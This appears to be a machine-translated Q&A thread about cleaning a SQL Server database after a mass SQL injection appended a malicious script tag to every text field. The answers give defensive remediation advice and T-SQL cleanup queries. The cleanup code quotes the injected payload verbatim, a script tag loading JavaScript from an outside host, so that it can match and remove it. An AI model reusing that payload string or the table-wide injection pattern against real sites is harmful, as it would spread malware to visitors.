SQL注入后最好的清理方法是什么?

SQL注入后最好的清理方法是什么?,sql,sql-server,database,security,Sql,Sql Server,Database,Security,我的任务是维护一个非营利网站,该网站最近遭到SQL注入攻击。有人利用网站上的一个表单向数据库varchar、nvarchar等中的每个可用文本字段添加文本。当呈现为HTML时,该字段包含并执行一个JavaScript文件 谷歌搜索这个URL表明它来自罗马尼亚或中国的垃圾邮件发送者,但这不是现在重要的 我浏览并手动删除了站点上最可见和最流行页面上呈现的文本字段中的信息,但我很好奇,从站点上的其他文本字段中删除文本的最佳编程方式是什么 显然,还需要做更多的工作来增强网站的抗SQL注入能力,使用降价而

我的任务是维护一个非营利网站,该网站最近遭到SQL注入攻击。有人利用网站上的一个表单向数据库varchar、nvarchar等中的每个可用文本字段添加文本。当呈现为HTML时,该字段包含并执行一个JavaScript文件

谷歌搜索这个URL表明它来自罗马尼亚或中国的垃圾邮件发送者,但这不是现在重要的

我浏览并手动删除了站点上最可见和最流行页面上呈现的文本字段中的信息,但我很好奇,从站点上的其他文本字段中删除文本的最佳编程方式是什么


显然,还需要做更多的工作来增强网站的抗SQL注入能力,使用降价而不是存储HTML等。我正在进行这些工作,但目前我真正需要的是一种很好的方法,以编程方式删除注入的文本。我知道确切的文本是什么,每次都是一样的,并且总是附加到任何文本字段的末尾。我无法承担此时删除数据库中所有HTML的费用,我也不知道这到底是什么时候发生的,所以我不能直接回滚到备份。此外,该站点位于共享主机上,我无法使用SQL Server工具直接连接到数据库。不过,我可以对它执行查询,因此,如果有任何方法可以构造一个SQL update语句,从而找到整个数据库中所有表中的所有文本字段,并这样做以清除它们,那将是最好的

从最近的备份中恢复数据。

这将扭转这一局面,明智的做法是从站点运行时使用的用户名中删除sysobject权限,当然还要清理输入

DECLARE @T VARCHAR(255),@C VARCHAR(4000) 
DECLARE Table_Cursor CURSOR FOR 
SELECT  a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id and a.xtype='u' and
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) 
OPEN Table_Cursor 
FETCH NEXT FROM  Table_Cursor INTO @T,@C 
WHILE(@@FETCH_STATUS=0) 
BEGIN 
EXEC('if exists (select 1 from ['+@T+'] where ['+@C+']  like ''%"></title><script src="http://1.verynx.cn/w.js"></script><!--'') begin print ''update ['+@T+'] set ['+@C+']=replace(['+@C+'],''''"></title><script src="http://1.verynx.cn/w.js"></script><!--'''','''''''') where ['+@C+']  like ''''%"></title><script src="http://1.verynx.cn/w.js"></script><!--'''''' end')
FETCH NEXT FROM Table_Cursor INTO @T,@C 
END 
CLOSE Table_Cursor 
DEALLOCATE Table_Cursor

不久前我在这里写过这篇文章:

假设你和其他人一样成为同一次攻击的受害者,那么SQLMenage的代码就很接近了。但是,该攻击使用了许多不同的脚本url,因此您必须对其进行自定义,以确保它与您在数据库中看到的url匹配

,并且我的解决方案代码包含一个更通用的清理


重要的一点是,你需要做的第一件事就是拆除网站。现在你正在积极地为你的用户提供恶意软件,这可能会使你在以后陷入法律困境。设置一个占位符页面,这样你的用户就不会被蒙在鼓里,但不要继续提供恶意软件。然后,您可以修复该站点,以确保它不再易受注入攻击。对于这种特殊的攻击,最简单的方法是只对您的web用户禁用sysobjects/syscolumns权限,但您也需要进行更彻底的清理,否则再次被破解只是时间问题。然后,您可以使用提供的代码清理站点并将其恢复为活动状态。

我是受害者,您可以使用它清理站点

UPDATE Table 
SET TextField = SUBSTRING(TextField, 1, CHARINDEX('</title', TextField) - 1)
WHERE (ID IN (SELECT ID FROM Table WHERE (CHARINDEX('</title', Textfield, 1) > 0)))

我写了关于它以及链接被重定向到网页显示Vox现在关闭。感谢您多年来对Vox的爱和支持